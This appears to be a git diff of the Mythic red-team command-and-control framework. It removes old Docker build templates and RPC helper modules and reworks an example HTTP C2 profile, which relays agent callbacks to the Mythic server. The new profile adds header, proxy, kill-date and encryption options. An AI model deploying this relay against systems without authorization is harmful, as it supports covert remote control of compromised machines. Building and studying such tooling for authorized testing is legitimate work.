-set -e
-
-# Skip the download if no operands specified
-if [ "$1" == "" -o "$2" == "" ]; then
- echo "Fetch operands missing, skipping..."
- exit
-fi
-
-# Pull the file from the remote URL
-file=`basename $1`
-echo "Downloading $1..."
-wget -q $1
-
-# Generate a desired checksum report and check against it
-echo "$2 $file" > $file.sum
-if [ "${#2}" == "40" ]; then
- sha1sum -c $file.sum
-else
- sha256sum -c $file.sum
-fi
-rm $file.sum
\ No newline at end of file
diff --git a/Docker_Templates/Docker_Payload_Type_base_files/leviathan_dockerfile b/Docker_Templates/Docker_Payload_Type_base_files/leviathan_dockerfile
deleted file mode 100644
index d74607620..000000000
--- a/Docker_Templates/Docker_Payload_Type_base_files/leviathan_dockerfile
+++ /dev/null
@@ -1,10 +0,0 @@
-From python:3.8-buster
-RUN pip install aio_pika
-
-RUN apt-get update
-RUN apt-get install software-properties-common apt-utils -y
-RUN apt-get -y install git
-RUN git clone https://github.com/xorrior/CRX3-Creator.git /CRX3-Creator
-RUN cd /CRX3-Creator; pip install -r requirements.txt;
-
-ENTRYPOINT ["/Mythic/mythic/payload_service.sh"]
diff --git a/Docker_Templates/Docker_Payload_Type_base_files/patch.tar.xz b/Docker_Templates/Docker_Payload_Type_base_files/patch.tar.xz
deleted file mode 100644
index bff5da4ea..000000000
Binary files a/Docker_Templates/Docker_Payload_Type_base_files/patch.tar.xz and /dev/null differ
diff --git a/Docker_Templates/Docker_Payload_Type_base_files/payload_service.sh b/Docker_Templates/Docker_Payload_Type_base_files/payload_service.sh
deleted file mode 100755
index 00627848a..000000000
--- a/Docker_Templates/Docker_Payload_Type_base_files/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3.8 mythic_service.py
diff --git a/Docker_Templates/Docker_Payload_Type_base_files/python38_dockerfile b/Docker_Templates/Docker_Payload_Type_base_files/python38_dockerfile
deleted file mode 100644
index 37212bdb3..000000000
--- a/Docker_Templates/Docker_Payload_Type_base_files/python38_dockerfile
+++ /dev/null
@@ -1,4 +0,0 @@
-From python:3.8-buster
-RUN pip install aio_pika
-
-ENTRYPOINT ["/Mythic/mythic/payload_service.sh"]
diff --git a/Docker_Templates/Docker_Payload_Type_base_files/xgolang_dockerfile b/Docker_Templates/Docker_Payload_Type_base_files/xgolang_dockerfile
deleted file mode 100644
index 7b157fcc9..000000000
--- a/Docker_Templates/Docker_Payload_Type_base_files/xgolang_dockerfile
+++ /dev/null
@@ -1,98 +0,0 @@
-# Go cross compiler (xgo): Base cross-compilation layer
-# Copyright (c) 2014 Péter Szilágyi. All rights reserved.
-#
-# Released under the MIT license.
-# pulled and modified from https://github.com/karalabe/xgo/blob/master/docker/go-1.13.4/Dockerfile
-
-FROM ubuntu:18.04
-# Mark the image as xgo enabled to support xgo-in-xgo
-ENV XGO_IN_XGO 1
-
-# Configure the Go environment, since it's not going to change
-ENV PATH /usr/local/go/bin:$PATH
-ENV GOPATH /go
-
-
-# Inject the remote file fetcher and checksum verifier
-ADD fetch.sh /fetch.sh
-ENV FETCH /fetch.sh
-RUN chmod +x $FETCH
-
-
-# Make sure apt-get is up to date and dependent packages are installed
-RUN \
- apt-get update && \
- apt-get install -y automake autogen build-essential ca-certificates cmake \
- gcc-5-aarch64-linux-gnu g++-5-aarch64-linux-gnu libc6-dev-arm64-cross \
- gcc-5-multilib g++-5-multilib clang llvm-dev \
- libtool libxml2-dev uuid-dev libssl-dev swig openjdk-8-jdk pkg-config patch \
- make xz-utils cpio wget zip unzip p7zip git mercurial bzr texinfo help2man \
- --no-install-recommends
-
-RUN \
- apt-get install -y python3 python3-pip
-
-RUN pip3 install aio_pika
-
-# Fix any stock package issues
-RUN ln -s /usr/include/asm-generic /usr/include/asm
-
-##########################
-# Darwin Toolchain build #
-##########################
-
-# Configure the container for OSX cross compilation
-ENV OSX_SDK MacOSX10.11.sdk
-ENV OSX_SDK_PATH https://s3.dockerproject.org/darwin/v2/$OSX_SDK.tar.xz
-
-# Make libxar known to the ld64 and cctools build
-ENV LD_LIBRARY_PATH=/osxcross/target/lib
-
-# Download the osx sdk and build the osx toolchain
-# We download the osx sdk, patch it and pack it again to be able to throw the patched version at osxcross
-RUN \
- $FETCH $OSX_SDK_PATH dd228a335194e3392f1904ce49aff1b1da26ca62 && \
- tar -xf `basename $OSX_SDK_PATH` && rm -f `basename $OSX_SDK_PATH`
-ADD patch.tar.xz $OSX_SDK/usr/include/c++
-RUN tar -cf - $OSX_SDK/ | xz -c - > $OSX_SDK.tar.xz && rm -rf $OSX_SDK
-
-# Actually build the toolchain
-RUN \
- git clone https://github.com/tpoechtrager/osxcross.git && \
- cd osxcross && git checkout 88cb6e8d0d7675cae7c8a2d66c11f58237101df0 && cd ../ && \
- mv $OSX_SDK.tar.xz /osxcross/tarballs/ && \
- OSX_VERSION_MIN=10.10 UNATTENDED=1 LD_LIBRARY_PATH=/osxcross/target/lib /osxcross/build.sh
-ENV PATH /osxcross/target/bin:$PATH
-
-# Inject the new Go root distribution downloader and bootstrapper
-ADD bootstrap_pure.sh /bootstrap_pure.sh
-ENV BOOTSTRAP_PURE /bootstrap_pure.sh
-RUN chmod +x $BOOTSTRAP_PURE
-
-# Inject the container entry point, the build script
-ADD build.sh /build.sh
-ENV BUILD /build.sh
-RUN chmod +x $BUILD
-
-ENV GO_VERSION 11304
-# Make libxar known to the ld64 and cctools build
-ENV LD_LIBRARY_PATH=/osxcross/target/lib
-
-RUN \
- export ROOT_DIST=https://storage.googleapis.com/golang/go1.13.4.linux-amd64.tar.gz && \
- export ROOT_DIST_SHA=692d17071736f74be04a72a06dab9cac1cd759377bd85316e52b2227604c004c && \
- \
- $BOOTSTRAP_PURE
-
-ENV GOROOT /usr/local/go
-ENV GOPATH /go/src:/go/src/poseidon
-
-RUN go get github.com/google/shlex \
- github.com/kbinani/screenshot \
- github.com/tmc/scp \
- github.com/xorrior/keyctl \
- golang.org/x/crypto/ssh \
- golang.org/x/sync/semaphore \
- github.com/gorilla/websocket
-
-ENTRYPOINT ["/Mythic/mythic/payload_service.sh"]
\ No newline at end of file
diff --git a/Example_C2_Profile/Dockerfile b/Example_C2_Profile/Dockerfile
index fd1da732e..38cbe3983 100755
--- a/Example_C2_Profile/Dockerfile
+++ b/Example_C2_Profile/Dockerfile
@@ -1 +1 @@
-From itsafeaturemythic/python38_sanic_c2profile:0.0.1
\ No newline at end of file
+FROM itsafeaturemythic/python38_sanic_c2profile:0.0.4
diff --git a/C2_Profiles/HTTP/mythic/__init__.py b/Example_C2_Profile/__init__.py
similarity index 100%
rename from C2_Profiles/HTTP/mythic/__init__.py
rename to Example_C2_Profile/__init__.py
diff --git a/Example_C2_Profile/c2_code/config.json b/Example_C2_Profile/c2_code/config.json
index af7e597b5..1060cfdfe 100755
--- a/Example_C2_Profile/c2_code/config.json
+++ b/Example_C2_Profile/c2_code/config.json
@@ -11,7 +11,7 @@
"port": 80,
"key_path": "",
"cert_path": "",
- "debug": true
+ "debug": false
}
]
-}
+}
\ No newline at end of file
diff --git a/Example_C2_Profile/c2_code/server b/Example_C2_Profile/c2_code/server
index 037c209d8..913b89d4c 100755
--- a/Example_C2_Profile/c2_code/server
+++ b/Example_C2_Profile/c2_code/server
@@ -18,7 +18,11 @@ async def print_flush(message):
sys.stdout.flush()
-async def server_error_handler(request, exception):
+def server_error_handler(request, exception):
+ if request is None:
+ print("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
+ sys.stdout.flush()
+ return html("Error: Failed to process request", status=500, headers={})
return html("Error: Requested URL {} not found".format(request.url), status=404, headers=config[request.app.name]['headers'])
@@ -33,22 +37,28 @@ async def agent_message(request, **kwargs):
if request.method == "POST":
# manipulate the request if needed
#await MythicCallbackRPC().add_event_message(message="got a POST message")
- response = requests.post(config['mythic_address'], data=request.body, verify=False, cookies=request.cookies, headers=request.headers)
+ response = requests.post(config['mythic_address'], data=request.body, verify=False, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
else:
# manipulate the request if needed
#await MythicCallbackRPC().add_event_message(message="got a GET message")
- response = requests.get(config['mythic_address'] + "?{}".format(request.query_string), verify=False, data=request.body, cookies=request.cookies, headers=request.headers)
+ #msg = await MythicCallbackRPC().encrypt_bytes(with_uuid=True, data="my message".encode(), uuid="eaf10700-cb30-402d-b101-8e35d67cdb41")
+ #await MythicCallbackRPC().add_event_message(message=msg.response)
+ response = requests.get(config['mythic_address'] + "?{}".format(request.query_string), verify=False, data=request.body, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
return raw(response.content, headers=config[request.app.name]['headers'], status=response.status_code)
except Exception as e:
+ if request is None:
+ await print_flush("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
+ return server_error_handler(request, e)
if config[request.app.name]['debug']:
await print_flush("error in agent_message: {}".format(str(e)))
- return await no_match(request, NotFound)
+ return server_error_handler(request, e)
+
if __name__ == "__main__":
sys.path.append("/Mythic/mythic")
- from C2ProfileBase import *
- from MythicCallbackRPC import *
+ from mythic_c2_container.C2ProfileBase import *
+ from mythic_c2_container.MythicCallbackRPC import *
config_file = open("config.json", 'rb')
main_config = json.loads(config_file.read().decode('utf-8'))
print("Opening config and starting instances...")
diff --git a/Example_C2_Profile/mythic/C2ProfileBase.py b/Example_C2_Profile/mythic/C2ProfileBase.py
deleted file mode 100644
index 313cdf49f..000000000
--- a/Example_C2_Profile/mythic/C2ProfileBase.py
+++ /dev/null
@@ -1,130 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-import json
-
-
-class ParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
- Array = "Array"
- Date = "Date"
- Dictionary = "Dictionary"
-
-
-class C2ProfileParameter:
- def __init__(
- self,
- name: str,
- description: str,
- default_value: str = "",
- randomize: bool = False,
- format_string: str = "",
- parameter_type: ParameterType = ParameterType.String,
- required: bool = True,
- verifier_regex: str = "",
- choices: [str] = None,
- ):
- self.name = name
- self.description = description
- self.randomize = randomize
- self.format_string = format_string
- self.parameter_type = parameter_type
- self.required = required
- self.verifier_regex = verifier_regex
- self.choices = choices
- self.default_value = ""
- if self.parameter_type == ParameterType.ChooseOne and choices is not None:
- self.default_value = "\n".join(choices)
- else:
- self.default_value = default_value
-
-
- def to_json(self):
- return {
- "name": self.name,
- "description": self.description,
- "default_value": self.default_value if self.parameter_type not in [ParameterType.Array, ParameterType.Dictionary] else json.dumps(self.default_value),
- "randomize": self.randomize,
- "format_string": self.format_string,
- "required": self.required,
- "parameter_type": self.parameter_type.value,
- "verifier_regex": self.verifier_regex,
- }
-
-
-class C2Profile:
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def is_p2p(self):
- pass
-
- @property
- @abstractmethod
- def is_server_routed(self):
- pass
-
- @property
- @abstractmethod
- def mythic_encrypts(self):
- pass
-
- @property
- @abstractmethod
- def parameters(self):
- pass
-
- def to_json(self):
- return {
- "name": self.name,
- "description": self.description,
- "author": self.author,
- "mythic_encrypts": self.mythic_encrypts,
- "is_p2p": self.is_p2p,
- "is_server_routed": self.is_server_routed,
- "params": [x.to_json() for x in self.parameters],
- }
-
-
-class RPCStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class RPCResponse:
- def __init__(self, status: RPCStatus = None, response: str = None):
- self.status = status
- self.response = response
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
- def to_json(self):
- return {"status": self.status.value, "response": self.response}
diff --git a/Example_C2_Profile/mythic/MythicBaseRPC.py b/Example_C2_Profile/mythic/MythicBaseRPC.py
deleted file mode 100644
index e190491ac..000000000
--- a/Example_C2_Profile/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,99 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-import json
-from enum import Enum
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self):
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("/Mythic/mythic/rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "c2rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Example_C2_Profile/mythic/MythicCallbackRPC.py b/Example_C2_Profile/mythic/MythicCallbackRPC.py
deleted file mode 100644
index 002a8038c..000000000
--- a/Example_C2_Profile/mythic/MythicCallbackRPC.py
+++ /dev/null
@@ -1,124 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCallbackRPC(MythicBaseRPC):
- # returns dictionary of `{"raw": raw_tasking, "encrypted": base64(uuid+encrypted_tasking)}`
- async def get_tasking(
- self, uuid: str, tasking_size: int = 1
- ) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "get_tasking",
- "uuid": uuid,
- "tasking_size": tasking_size,
- }
- )
- return MythicRPCResponse(resp)
-
- async def add_route(
- self,
- source_uuid: str,
- destination_uuid: str,
- direction: int = 1,
- metadata: str = None,
- ) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "add_route",
- "source": source_uuid,
- "destination": destination_uuid,
- "direction": direction,
- "metadata": metadata,
- }
- )
- return MythicRPCResponse(resp)
-
- async def remove_route(
- self,
- source_uuid: str,
- destination_uuid: str,
- direction: int = 1,
- metadata: str = None,
- ) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "remove_route",
- "source": source_uuid,
- "destination": destination_uuid,
- "direction": direction,
- "metadata": metadata,
- }
- )
- return MythicRPCResponse(resp)
-
- async def get_callback_info(self, uuid: str) -> MythicRPCResponse:
- resp = await self.call({"action": "get_callback_info", "uuid": uuid})
- return MythicRPCResponse(resp)
-
- async def get_encryption_data(self, uuid: str, profile: str) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "get_encryption_data",
- "uuid": uuid,
- "c2_profile": profile,
- }
- )
- return MythicRPCResponse(resp)
-
- async def update_callback_info(self, uuid: str, info: dict) -> MythicRPCResponse:
- resp = await self.call(
- {"action": "update_callback_info", "uuid": uuid, "data": info}
- )
- return MythicRPCResponse(resp)
-
- async def add_event_message(
- self, message: str, level: str = "info"
- ) -> MythicRPCResponse:
- resp = await self.call(
- {"action": "add_event_message", "level": level, "message": message}
- )
- return MythicRPCResponse(resp)
-
- async def encrypt_bytes(
- self, data: bytes, uuid: str, with_uuid: bool = False,
- ) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "uuid": uuid,
- "with_uuid": with_uuid,
- }
- )
- return MythicRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, uuid: str, with_uuid: bool = False,
- ) -> MythicRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "uuid": uuid,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicRPCResponse(resp)
diff --git a/Example_C2_Profile/mythic/c2_functions/C2_RPC_functions.py b/Example_C2_Profile/mythic/c2_functions/C2_RPC_functions.py
index 6332e7fc2..1a4aa6b24 100644
--- a/Example_C2_Profile/mythic/c2_functions/C2_RPC_functions.py
+++ b/Example_C2_Profile/mythic/c2_functions/C2_RPC_functions.py
@@ -1,5 +1,5 @@
-from C2ProfileBase import *
-import MythicCallbackRPC
+from mythic_c2_container.C2ProfileBase import *
+import sys
# request is a dictionary: {"action": func_name, "message": "the input", "task_id": task id num}
# must return an RPCResponse() object and set .status to an instance of RPCStatus and response to str of message
@@ -8,4 +8,20 @@ async def test(request):
response.status = RPCStatus.Success
response.response = "hello"
#resp = await MythicCallbackRPC.MythicCallbackRPC().add_event_message(message="got a POST message")
- return response
\ No newline at end of file
+ return response
+
+
+# The opsec function is called when a payload is created as a check to see if the parameters supplied are good
+# The input for "request" is a dictionary of:
+# {
+# "action": "opsec",
+# "parameters": {
+# "param_name": "param_value",
+# "param_name2: "param_value2",
+# }
+# }
+# This function should return one of two things:
+# For success: {"status": "success", "message": "your success message here" }
+# For error: {"status": "error", "error": "your error message here" }
+async def opsec(request):
+ return {"status": "success", "message": "No OPSEC Check Performed"}
\ No newline at end of file
diff --git a/Example_C2_Profile/mythic/c2_functions/HTTP.py b/Example_C2_Profile/mythic/c2_functions/HTTP.py
index eec1d8f51..38816cf96 100644
--- a/Example_C2_Profile/mythic/c2_functions/HTTP.py
+++ b/Example_C2_Profile/mythic/c2_functions/HTTP.py
@@ -1,13 +1,12 @@
-from C2ProfileBase import *
+from mythic_c2_container.C2ProfileBase import *
class HTTP(C2Profile):
- name = "HTTP"
+ name = "http"
description = "Uses HTTP(S) connections with a simple query parameter or basic POST messages. For more configuration options use dynamicHTTP."
author = "@its_a_feature_"
is_p2p = False
is_server_routed = False
- mythic_encrypts = True
parameters = [
C2ProfileParameter(
name="callback_port",
@@ -19,13 +18,15 @@ class HTTP(C2Profile):
C2ProfileParameter(
name="killdate",
description="Kill Date",
- default_value="yyyy-mm-dd",
+ parameter_type=ParameterType.Date,
+ default_value=365,
required=False,
),
C2ProfileParameter(
name="encrypted_exchange_check",
description="Perform Key Exchange",
choices=["T", "F"],
+ required=False,
parameter_type=ParameterType.ChooseOne,
),
C2ProfileParameter(
@@ -36,22 +37,39 @@ class HTTP(C2Profile):
required=False,
),
C2ProfileParameter(
- name="domain_front",
- description="Host header value for domain fronting",
- default_value="",
- required=False,
- ),
- C2ProfileParameter(
- name="USER_AGENT",
- description="User Agent",
- default_value="Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
+ name="headers",
+ description="HTTP Headers",
required=False,
+ parameter_type=ParameterType.Dictionary,
+ default_value=[
+ {
+ "name": "User-Agent",
+ "max": 1,
+ "default_value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
+ "default_show": True,
+ },
+ {
+ "name": "Host",
+ "max": 1,
+ "default_value": "",
+ "default_show": False,
+ },
+ {
+ "name": "*",
+ "max": -1,
+ "default_value": "",
+ "default_show": False
+ }
+ ]
),
C2ProfileParameter(
name="AESPSK",
- description="Base64 of a 32B AES Key",
- default_value="",
+ description="Crypto type",
+ default_value="aes256_hmac",
+ parameter_type=ParameterType.ChooseOne,
+ choices=["aes256_hmac", "none"],
required=False,
+ crypto_type=True
),
C2ProfileParameter(
name="callback_host",
@@ -60,84 +78,47 @@ class HTTP(C2Profile):
verifier_regex="^(http|https):\/\/[a-zA-Z0-9]+",
),
C2ProfileParameter(
- name="callback_interval",
- description="Callback Interval in seconds",
- default_value="10",
- verifier_regex="^[0-9]+$",
- required=False,
- ),
- ]
-"""
-C2ProfileParameter(
- name="callback_port",
- description="Callback Port",
- default_value="80",
- verifier_regex="^[0-9]+$",
+ name="get_uri",
+ description="GET request URI (don't include leading /)",
+ default_value="index",
required=False,
),
C2ProfileParameter(
- name="encrypted_exchange_check",
- description="Perform Key Exchange",
- choices=["T", "F"],
- parameter_type=ParameterType.ChooseOne,
+ name="post_uri",
+ description="POST request URI (don't include leading /)",
+ default_value="data",
+ required=False,
),
C2ProfileParameter(
- name="callback_jitter",
- description="Callback Jitter in percent",
- default_value="23",
- verifier_regex="^[0-9]+$",
+ name="query_path_name",
+ description="Name of the query parameter for GET requests",
+ default_value="q",
required=False,
+ verifier_regex="^[^\/]",
),
C2ProfileParameter(
- name="domain_front",
- description="Host header value for domain fronting",
+ name="proxy_host",
+ description="Proxy Host",
default_value="",
required=False,
+ verifier_regex="^$|^(http|https):\/\/[a-zA-Z0-9]+",
),
C2ProfileParameter(
- name="callback_host",
- description="Callback Host",
- default_value="https://domain.com",
- parameter_type=ParameterType.Array,
- verifier_regex="^(http|https):\/\/[a-zA-Z0-9]+",
- ),
-
- C2ProfileParameter(
- name="killdate",
- description="Kill Date",
- parameter_type=ParameterType.Date,
- default_value=365,
+ name="proxy_port",
+ description="Proxy Port",
+ default_value="",
+ verifier_regex="^$|^[0-9]+$",
required=False,
),
C2ProfileParameter(
- name="USER_AGENT",
- description="User Agent",
+ name="proxy_user",
+ description="Proxy Username",
+ default_value="",
required=False,
- parameter_type=ParameterType.Dictionary,
- default_value=[
- {
- "name": "USER_AGENT",
- "max": 1,
- "default_value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
- "default_show": True,
- },
- {
- "name": "host",
- "max": 2,
- "default_value": "",
- "default_show": False,
- },
- {
- "name": "*",
- "max": -1,
- "default_value": "",
- "default_show": False
- }
- ]
),
C2ProfileParameter(
- name="AESPSK",
- description="Base64 of a 32B AES Key",
+ name="proxy_pass",
+ description="Proxy Password",
default_value="",
required=False,
),
@@ -147,4 +128,5 @@ class HTTP(C2Profile):
default_value="10",
verifier_regex="^[0-9]+$",
required=False,
- ),"""
\ No newline at end of file
+ ),
+ ]
diff --git a/Example_C2_Profile/mythic/mythic_service.py b/Example_C2_Profile/mythic/mythic_service.py
index dde56b77c..415d37536 100755
--- a/Example_C2_Profile/mythic/mythic_service.py
+++ b/Example_C2_Profile/mythic/mythic_service.py
@@ -1,410 +1,3 @@
#!/usr/bin/env python3
-import aio_pika
-import os
-import time
-import sys
-import subprocess
-import _thread
-import base64
-import json
-import socket
-import asyncio
-import pathlib
-import traceback
-from C2ProfileBase import *
-from importlib import import_module, invalidate_caches
-from functools import partial
-
-credentials = None
-connection_params = None
-running = False
-process = None
-thread = None
-hostname = ""
-output = ""
-exchange = None
-container_files_path = None
-
-
-def deal_with_stdout():
- global process
- global output
- while True:
- try:
- for line in iter(process.stdout.readline, b""):
- output += line.decode("utf-8")
- except Exception as e:
- print("Exiting thread due to: {}\n".format(str(e)))
- sys.stdout.flush()
- break
-
-
-def import_all_c2_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("c2_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("c2_functions." + pathlib.Path(x).stem, package=None)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", routing_key=""):
- global exchange
- try:
- message_body = aio_pika.Message(message.encode())
- await exchange.publish(message_body, routing_key=routing_key)
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
- sys.stdout.flush()
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global running
- global process
- global output
- global thread
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: c2.modify.PROFILE NAME.command
- try:
- command = message.routing_key.split(".")[3]
- username = message.routing_key.split(".")[4]
- server_path = container_files_path / "server"
- # command = body.decode('utf-8')
- if command == "start":
- if not running:
- # make sure to start the /Apfell/server in the background
- os.chmod(server_path, mode=0o777)
- output = ""
- process = subprocess.Popen(
- str(server_path),
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- cwd=str(container_files_path),
- )
- thread = _thread.start_new_thread(deal_with_stdout, ())
- time.sleep(3)
- process.poll()
- if process.returncode is not None:
- # this means something went wrong and the process is dead
- running = False
- await send_status(
- message="Failed to start\nOutput: {}".format(output),
- routing_key="c2.status.{}.stopped.start.{}".format(
- hostname, username
- ),
- )
- output = ""
- else:
- running = True
- await send_status(
- message="Started with pid: {}...\nOutput: {}".format(
- str(process.pid), output
- ),
- routing_key="c2.status.{}.running.start.{}".format(
- hostname, username
- ),
- )
- output = ""
- else:
- await send_status(
- message="Already running...\nOutput: {}".format(output),
- routing_key="c2.status.{}.running.start.{}".format(
- hostname, username
- ),
- )
- output = ""
- elif command == "stop":
- if running:
- try:
- process.kill()
- process.communicate()
- except Exception as e:
- pass
- try:
- thread.exit()
- except Exception as e:
- pass
- running = False
- await send_status(
- message="Process killed...\nOld Output: {}".format(output),
- routing_key="c2.status.{}.stopped.stop.{}".format(
- hostname, username
- ),
- )
- output = ""
- else:
- await send_status(
- message="Process not running...\nOld Output: {}".format(output),
- routing_key="c2.status.{}.stopped.stop.{}".format(
- hostname, username
- ),
- )
- output = ""
- # make sure to stop the /Apfell/server in the background
- elif command == "status":
- if running:
- await send_status(
- message="Output: {}".format(output),
- routing_key="c2.status.{}.running.status.{}".format(
- hostname, username
- ),
- )
- output = ""
- else:
- await send_status(
- message="C2 is not running",
- routing_key="c2.status.{}.stopped.status.{}".format(
- hostname, username
- ),
- )
- elif command == "get_config":
- try:
- path = container_files_path / "config.json"
- file_data = open(path, "rb").read()
- except Exception as e:
- file_data = b"File not found"
- encoded_data = json.dumps(
- {
- "filename": "config.json",
- "data": base64.b64encode(file_data).decode("utf-8"),
- }
- )
- await send_status(
- message=encoded_data,
- routing_key="c2.status.{}.{}.get_config.{}".format(
- hostname, "running" if running else "stopped", username
- ),
- )
- elif command == "writefile":
- try:
- message = json.loads(message.body.decode("utf-8"))
- file_path = container_files_path / message["file_path"]
- file_path = file_path.resolve()
- if container_files_path not in file_path.parents:
- response = {
- "status": "error",
- "error": "trying to break out of path",
- }
- else:
- file = open(file_path, "wb")
- file.write(base64.b64decode(message["data"]))
- file.close()
- response = {"status": "success", "file": message["file_path"]}
- except Exception as e:
- response = {"status": "error", "error": str(e)}
- await send_status(
- message=json.dumps(response),
- routing_key="c2.status.{}.{}.writefile.{}".format(
- hostname, "running" if running else "stopped", username
- ),
- )
- elif command == "sync_classes":
- try:
- import_all_c2_functions()
- # c2profile = {}
- for cls in C2Profile.__subclasses__():
- c2profile = cls().to_json()
- break
- await send_status(
- message=json.dumps(c2profile),
- routing_key="c2.status.{}.{}.sync_classes.{}".format(
- hostname, "running" if running else "stopped", username
- ),
- )
- except Exception as e:
- await send_status(
- message='{"message": "Error while syncing info: {}"}'.format(
- str(traceback.format_exc())
- ),
- routing_key="c2.status.{}.{}.sync_classes.{}".format(
- hostname, "running" if running else "stopped", username
- ),
- )
- else:
- print("Unknown command: {}".format(command))
- sys.stdout.flush()
- except Exception as e:
- print("Failed overall message processing: " + str(e))
- sys.stdout.flush()
-
-
-async def sync_classes():
- try:
- import_all_c2_functions()
- c2profile = {}
- for cls in C2Profile.__subclasses__():
- c2profile = cls().to_json()
- break
- await send_status(
- message=json.dumps(c2profile),
- routing_key="c2.status.{}.{}.sync_classes.{}".format(
- hostname, "stopped", ""
- ),
- )
- except Exception as e:
- await send_status(
- message='{"message": "Error while syncing info: {}"}'.format(
- str(traceback.format_exc())
- ),
- routing_key="c2.status.{}.{}.sync_classes.{}".format(
- hostname, "stopped", ""
- ),
- )
-
-
-async def rabbit_c2_rpc_callback(
- exchange: aio_pika.Exchange, message: aio_pika.IncomingMessage
-):
- with message.process():
- request = json.loads(message.body.decode())
- if "action" in request:
- response = await globals()[request["action"]](request)
- response = json.dumps(response.to_json()).encode()
- else:
- response = json.dumps(
- {"status": "error", "error": "Missing action"}
- ).encode()
- try:
- await exchange.publish(
- aio_pika.Message(body=response, correlation_id=message.correlation_id),
- routing_key=message.reply_to,
- )
- except Exception as e:
- print(
- "Exception trying to send message back to container for rpc! " + str(e)
- )
- sys.stdout.flush()
-
-
-async def connect_and_consume_rpc():
- connection = None
- global hostname
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host="127.0.0.1",
- login="mythic_user",
- password="mythic_password",
- virtualhost="mythic_vhost",
- )
- channel = await connection.channel()
- # get a random queue that only the apfell server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("{}_rpc_queue".format(hostname))
- await channel.set_qos(prefetch_count=50)
- try:
- task = queue.consume(
- partial(rabbit_c2_rpc_callback, channel.default_exchange)
- )
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print("Exception in connect_and_consume .consume: {}".format(str(e)))
- sys.stdout.flush()
- except (ConnectionError, ConnectionRefusedError) as c:
- print("Connection to rabbitmq failed, trying again...")
- sys.stdout.flush()
- except Exception as e:
- print("Exception in connect_and_consume_rpc connect: {}".format(str(e)))
